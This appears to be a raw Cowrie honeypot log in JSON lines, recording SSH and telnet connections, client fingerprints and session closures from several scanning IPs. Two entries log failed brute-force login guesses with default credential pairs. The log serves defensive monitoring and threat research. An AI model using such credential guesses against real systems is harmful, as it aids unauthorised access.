{"eventid":"cowrie.session.closed","duration":120.00519227981567,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:44.755818Z","src_ip":"174.142.104.49","session":"cb5276992eac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":37978,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d269568d446","protocol":"ssh","message":"New connection: 200.105.172.184:37978 (159.203.135.109:22) [session: 3d269568d446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:45.087377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:45.092399Z","src_ip":"200.105.172.184","session":"3d269568d446","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:45.210383Z","src_ip":"200.105.172.184","session":"3d269568d446","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:45.712542Z","src_ip":"200.105.172.184","session":"3d269568d446","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":50534,"dst_ip":"159.203.135.109","dst_port":23,"session":"68fa3c86e98b","protocol":"telnet","message":"New connection: 161.132.53.68:50534 (159.203.135.109:23) [session: 68fa3c86e98b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:46.190442Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41800,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ef73a2b333d","protocol":"telnet","message":"New connection: 174.142.104.49:41800 (159.203.135.109:23) [session: 9ef73a2b333d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:46.768020Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:46.837279Z","src_ip":"200.105.172.184","session":"3d269568d446","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":50444,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ff99262eaea","protocol":"telnet","message":"New connection: 193.22.147.168:50444 (10.17.0.5:23) [session: 1ff99262eaea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:47.122859Z"}
{"eventid":"cowrie.session.closed","duration":45.4343945980072,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:48.006502Z","src_ip":"174.142.104.49","session":"76fe96b2d45d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00231385231018,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:48.868280Z","src_ip":"174.142.104.49","session":"5a11a84edd1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00152277946472,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:49.437743Z","src_ip":"174.142.104.49","session":"3fb96ef053b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46650,"dst_ip":"159.203.135.109","dst_port":23,"session":"10abe320e0d2","protocol":"telnet","message":"New connection: 174.142.104.49:46650 (159.203.135.109:23) [session: 10abe320e0d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:49.793331Z"}
{"eventid":"cowrie.session.closed","duration":33.082310914993286,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:50.059857Z","src_ip":"161.132.53.68","session":"89c64ae6307a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":50446,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a3b73c9110d","protocol":"telnet","message":"New connection: 193.22.147.168:50446 (10.17.0.5:23) [session: 5a3b73c9110d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:51.159801Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":42814,"dst_ip":"10.17.0.5","dst_port":23,"session":"41f48c9a6fcb","protocol":"telnet","message":"New connection: 193.22.147.168:42814 (10.17.0.5:23) [session: 41f48c9a6fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:51.769063Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50254,"dst_ip":"159.203.135.109","dst_port":23,"session":"56cc8e5bdec3","protocol":"telnet","message":"New connection: 174.142.104.49:50254 (159.203.135.109:23) [session: 56cc8e5bdec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:51.932720Z"}
{"eventid":"cowrie.session.closed","duration":30.49944519996643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:52.153363Z","src_ip":"161.132.53.68","session":"817db91d2f87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00122809410095,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:52.650776Z","src_ip":"174.142.104.49","session":"90a8422ebf0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63848066329956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:53.162837Z","src_ip":"161.132.53.68","session":"f2b0a5d1b424","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.105477809906006,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:53.892911Z","src_ip":"104.245.105.2","session":"a1d121c9e8b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":42828,"dst_ip":"10.17.0.5","dst_port":23,"session":"14ba9b180e2e","protocol":"telnet","message":"New connection: 193.22.147.168:42828 (10.17.0.5:23) [session: 14ba9b180e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:54.827237Z"}
{"eventid":"cowrie.session.closed","duration":120.0007848739624,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:54.954169Z","src_ip":"174.142.104.49","session":"205df49243d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.072406768798828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:56.213465Z","src_ip":"161.132.53.68","session":"052bdbb7a4c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":42814,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a427c2105d2","protocol":"ssh","message":"New connection: 96.78.175.36:42814 (10.17.0.5:22) [session: 0a427c2105d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:56.729091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:56.746699Z","src_ip":"96.78.175.36","session":"0a427c2105d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:56.832262Z","src_ip":"96.78.175.36","session":"0a427c2105d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.223390340805054,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:56.886588Z","src_ip":"193.22.147.168","session":"afc71d12144e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.008726596832275,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:57.162254Z","src_ip":"174.142.104.49","session":"7f6dbef0491d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo@2024","message":"login attempt [demo/demo@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:57.179719Z","src_ip":"96.78.175.36","session":"0a427c2105d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.76247549057007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:57.611559Z","src_ip":"193.22.147.168","session":"27dc441fd9bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:58.270430Z","src_ip":"96.78.175.36","session":"0a427c2105d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":42838,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5dadd127cee","protocol":"telnet","message":"New connection: 193.22.147.168:42838 (10.17.0.5:23) [session: e5dadd127cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:58.474841Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":42854,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dd26e639372","protocol":"telnet","message":"New connection: 193.22.147.168:42854 (10.17.0.5:23) [session: 9dd26e639372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:58.804420Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47864,"dst_ip":"159.203.135.109","dst_port":23,"session":"134b9c5831b2","protocol":"telnet","message":"New connection: 161.132.53.68:47864 (159.203.135.109:23) [session: 134b9c5831b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:59.148442Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":46634,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c6c8e70984b","protocol":"telnet","message":"New connection: 193.22.147.168:46634 (10.17.0.5:23) [session: 4c6c8e70984b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:59.456764Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":46640,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccf9ef3ee5dd","protocol":"telnet","message":"New connection: 193.22.147.168:46640 (10.17.0.5:23) [session: ccf9ef3ee5dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:59.556516Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47872,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f1eea198841","protocol":"telnet","message":"New connection: 161.132.53.68:47872 (159.203.135.109:23) [session: 9f1eea198841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:00.142199Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":46654,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdb10401e810","protocol":"telnet","message":"New connection: 193.22.147.168:46654 (10.17.0.5:23) [session: fdb10401e810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:01.836730Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41070,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3c1e01a5658","protocol":"telnet","message":"New connection: 174.142.104.49:41070 (159.203.135.109:23) [session: c3c1e01a5658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:02.940131Z"}
{"eventid":"cowrie.session.closed","duration":120.00204849243164,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:04.463387Z","src_ip":"174.142.104.49","session":"ff4fc56cbab8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42641,"dst_ip":"159.203.135.109","dst_port":23,"session":"d59fbcf66a7f","protocol":"telnet","message":"New connection: 174.142.104.49:42641 (159.203.135.109:23) [session: d59fbcf66a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:04.954838Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47882,"dst_ip":"159.203.135.109","dst_port":23,"session":"07e8bd0616cb","protocol":"telnet","message":"New connection: 161.132.53.68:47882 (159.203.135.109:23) [session: 07e8bd0616cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:05.412850Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47134,"dst_ip":"159.203.135.109","dst_port":23,"session":"a152c794bdc1","protocol":"telnet","message":"New connection: 174.142.104.49:47134 (159.203.135.109:23) [session: a152c794bdc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:07.003454Z"}
{"eventid":"cowrie.session.closed","duration":120.00417280197144,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:10.253932Z","src_ip":"174.142.104.49","session":"06d8ef9f05f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.095488786697388,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:10.382146Z","src_ip":"193.22.147.168","session":"fb969d0f2073","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0034716129303,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:12.420612Z","src_ip":"174.142.104.49","session":"5c2f9c20ac31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.2212655544281,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:12.588032Z","src_ip":"193.22.147.168","session":"5e6db6471ae5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.516173124313354,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:13.804453Z","src_ip":"193.22.147.168","session":"734dd789d070","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":51336,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a12ccf4dd14","protocol":"telnet","message":"New connection: 193.22.147.168:51336 (10.17.0.5:23) [session: 8a12ccf4dd14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:14.091180Z"}
{"eventid":"cowrie.session.closed","duration":31.413290977478027,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:14.542422Z","src_ip":"193.22.147.168","session":"6d56b3cfa96c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":51344,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c46f973ec57","protocol":"telnet","message":"New connection: 193.22.147.168:51344 (10.17.0.5:23) [session: 2c46f973ec57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:15.121097Z"}
{"eventid":"cowrie.session.closed","duration":44.271944761276245,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:15.913655Z","src_ip":"174.142.104.49","session":"98cc4fab2d73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":37024,"dst_ip":"159.203.135.109","dst_port":23,"session":"8af1b0d3775c","protocol":"telnet","message":"New connection: 161.132.53.68:37024 (159.203.135.109:23) [session: 8af1b0d3775c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:16.004295Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58250,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ad5d6cae657","protocol":"telnet","message":"New connection: 174.142.104.49:58250 (159.203.135.109:23) [session: 2ad5d6cae657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:17.450969Z"}
{"eventid":"cowrie.session.closed","duration":31.515985012054443,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:17.706332Z","src_ip":"161.132.53.68","session":"68fa3c86e98b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":51354,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee3b594d0628","protocol":"telnet","message":"New connection: 193.22.147.168:51354 (10.17.0.5:23) [session: ee3b594d0628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:17.996520Z"}
{"eventid":"cowrie.session.closed","duration":31.330560207366943,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:18.098460Z","src_ip":"174.142.104.49","session":"9ef73a2b333d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35848,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a4bb835d847","protocol":"telnet","message":"New connection: 174.142.104.49:35848 (159.203.135.109:23) [session: 0a4bb835d847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:18.938776Z"}
{"eventid":"cowrie.session.closed","duration":31.897801876068115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:19.020510Z","src_ip":"193.22.147.168","session":"1ff99262eaea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.439496994018555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:20.232722Z","src_ip":"174.142.104.49","session":"10abe320e0d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":43170,"dst_ip":"10.17.0.5","dst_port":23,"session":"b82ca8022481","protocol":"telnet","message":"New connection: 193.22.147.168:43170 (10.17.0.5:23) [session: b82ca8022481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:20.791802Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":43176,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaeb44079113","protocol":"telnet","message":"New connection: 193.22.147.168:43176 (10.17.0.5:23) [session: aaeb44079113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:21.052199Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36528,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c7bc4b5ab0c","protocol":"telnet","message":"New connection: 174.142.104.49:36528 (159.203.135.109:23) [session: 8c7bc4b5ab0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:21.415952Z"}
{"eventid":"cowrie.session.closed","duration":110.06525945663452,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:21.942869Z","src_ip":"174.142.104.49","session":"b04ae35735ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99461007118225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:22.927235Z","src_ip":"174.142.104.49","session":"56cc8e5bdec3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.95108723640442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:23.110782Z","src_ip":"193.22.147.168","session":"5a3b73c9110d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.161370277404785,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:23.930323Z","src_ip":"193.22.147.168","session":"41f48c9a6fcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":43182,"dst_ip":"10.17.0.5","dst_port":23,"session":"94c4d452136c","protocol":"telnet","message":"New connection: 193.22.147.168:43182 (10.17.0.5:23) [session: 94c4d452136c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:24.340541Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.199.134","src_port":44514,"dst_ip":"159.203.135.109","dst_port":22,"session":"c83031b52ca8","protocol":"ssh","message":"New connection: 107.173.199.134:44514 (159.203.135.109:22) [session: c83031b52ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:26.545456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:26.549928Z","src_ip":"107.173.199.134","session":"c83031b52ca8","protocol":"ssh"}
